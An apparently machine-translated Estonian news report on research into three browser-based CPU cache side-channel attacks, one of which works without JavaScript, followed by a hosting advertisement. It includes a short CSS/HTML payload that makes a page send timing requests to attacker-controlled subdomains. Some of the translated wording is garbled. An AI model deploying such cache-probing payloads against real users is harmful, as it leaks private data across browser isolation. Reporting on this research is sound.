CPU vahemäluandmete väljavõtmise rünnak, mis toimub veebibrauseris ilma JavaScriptita

Rühm teadlasi mitmest Ameerika, Iisraeli ja Austraalia ülikoolist on välja töötanud kolm veebibrauserites toimivat rünnakut, et saada teavet protsessorivahendite vahemälu sisu kohta. Üks meetod töötab brauserites ilma JavaScriptita, samas kui kaks muud meetodit ületavad olemasolevaid kaitsemeetmeid välkanalite rünnakute eest, sealhulgas neid, mida kasutatakse Tor-brauseris ja DeterFoxis. Rünnakute demonstreerimiseks mõeldud kood ja vajalikud serverikomponendid on avaldatud GitHubis.

Kõikide rünnakute puhul kasutatakse vahemälu sisu analüüsimiseks Prime+Probe meetodit, mis hõlmab vahemälu täitmist standardsete väärtuste kogumiga ning muutuste määramist, mõõtes juurdepääsu aega nende uuesti täitmisel. Brauserites esinevate kaitsemehhanismide ületamiseks, mis takistavad täpset aega mõõtmist, toimub kahes variandis pöördumine ründaja kontrolli all oleva DNS- või WebSocket-serveri poole, kus logitakse päringute vastuvõtu aega. Ühes variandis kasutatakse fikseeritud DNS-vastuse aega ajastandardi alusena.

Väliste DNS- või WebSocket-serverite kaasamisega läbi viidud mõõtmised, kasutades masinõppel põhinevat klassifitseerimissüsteemi, osutusid piisavateks, et prognoosida väärtusi täpsusega kuni 98% kõige optimaalsemas stsenaariumis (keskmiselt 80-90%). Rünnakumeetodeid testiti erinevates riistvaraplatvormides (Intel, AMD Ryzen, Apple M1, Samsung Exynos) ja need näitasid end universaalsetena.

CPU vahemäluandmete väljavõtmise rünnak, mis toimub veebibrauseris ilma JavaScriptita

Rünnaku esimeses variandis „DNS Racing“ kasutatakse klassikalist Prime+Probe meetodi rakendust, mis põhineb JavaScripti massiividel. Erinevused on seotud välise DNS-põhise taimeri ja onerror töötleja kasutamisega, mis aktiveerub pildi laadimise katses mitteeksisteerivast domeenist. Väline taimer võimaldab läbi viia Prime+Probe rünnaku brauserites, mis piiravad või täielikult keelavad ligipääsu JavaScripti taimeritele.

Ethernet-võrgus hostitud DNS-serveri ajastus on umbes 2 ms, mis on piisav, et teostada rünnakuid kolmandate osapoolte kanalite kaudu (võrdluseks, Tor Brauseri vaikimisi JavaScripti ajastuse täpsus on langetatud 100 ms-ni). DNS-serveri ründamiseks pole vajalik selle üle kontrolli omamine, kuna toimingu täitmise aeg on kohandatud nii, et DNS-i vastuse aeg indikeerib varem lõppenud kontrolle (sõltuvalt sellest, kas on töötanud onerror töötleja varem või hiljem, järeldatakse kontrollimise operatsiooni kiirusest, mis teostati vahemäluga).

Teine ründemeetod "String and Sock" püüab ringitada kaitsemeetodeid, mis piiravad madala taseme massiivide kasutamist JavaScriptis. Selle asemel, et kasutada massiive, kasutatakse "String and Sock" väga suurte STRING-operatsioonide teostamiseks, mille suurus on valitud nii, et muutuja kataks kogu LLC (viimane tasandi vahemälu). Järgmine etapp on kasutada funktsiooni indexOf() stringis, et otsida väikest alamstringi, mida algselt ei leidu algses stringis, st otsinguprotsess läbi skaneerib terve stringi. Kuna stringi suurus vastab LLC vahemälu suurusele, võimaldab skaneerimine teostada vahemälu kontrollimise operatsiooni ilma massiividega manipuleerimata. Viivituste mõõtmiseks kasutab DNS-i asemel ründaja kontrollitud WebSocket-serveri kutseid — enne ja pärast stringi otsingu operatsiooni saatke päringud, mille põhjal arvutatakse. serveril viivitus, mida kasutatakse vahemälu sisu analüüsimiseks.

Kolmas rünnakuvõimalus «CSS PP0» on teostatud HTML-i ja CSS-i kaudu ning võib töötada brauserites, kus JavaScript on keelatud. Meetod sarnaneb «String and Sock» tehnoloogiale, kuid ei sõltu JavaScriptist. Rünnaku käigus luuakse hulk CSS-valijaid, mis teostavad patsiivi otsingu. Algne suur string, mis täidab vahemälu, määratakse div-elementi loomise kaudu, millel on väga pikk klassinimi. Selle sisse paigutatakse hulk teisi div-e koos oma identifikaatoritega. Igaühel neist sisemistest div-eest on määratud oma stiil koos valijaga, mis teostab allstringi otsingut. Lehe joonistamisel püüab brauser alguses töödelda sisemisi div-e, mis viib suure stringi otsinguprotseduuri käivitamiseni. Otsing viiakse läbi eelnevalt mittetäieliku patsiivi alusel, mis toob kaasa kogu stringi läbivaatamise ja käivitab seejärel tingimuse «not», mis toob kaasa katse laadida tausta pilti, mis viitab juhuslikele domeenidele: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>

Alamdomeenid teenindatakse ründaja DNS-serveris, mis suudab mõõta päringute vastuvõtmise viivitusi. Kõigile päringutele DNS-server annab NXDOMAIN-i ja peab täpset logi päringute ajast. Div-elementide komplekti töötlemise tulemusena jõuab ründaja DNS-serverisse rida päringute, mille viivitused korreleeruvad vahemälu sisu kontrollimise tulemusega.

CPU vahemäluandmete väljavõtmise rünnak, mis toimub veebibrauseris ilma JavaScriptita


Allikas: opennet.ru
Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid 🔥 Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster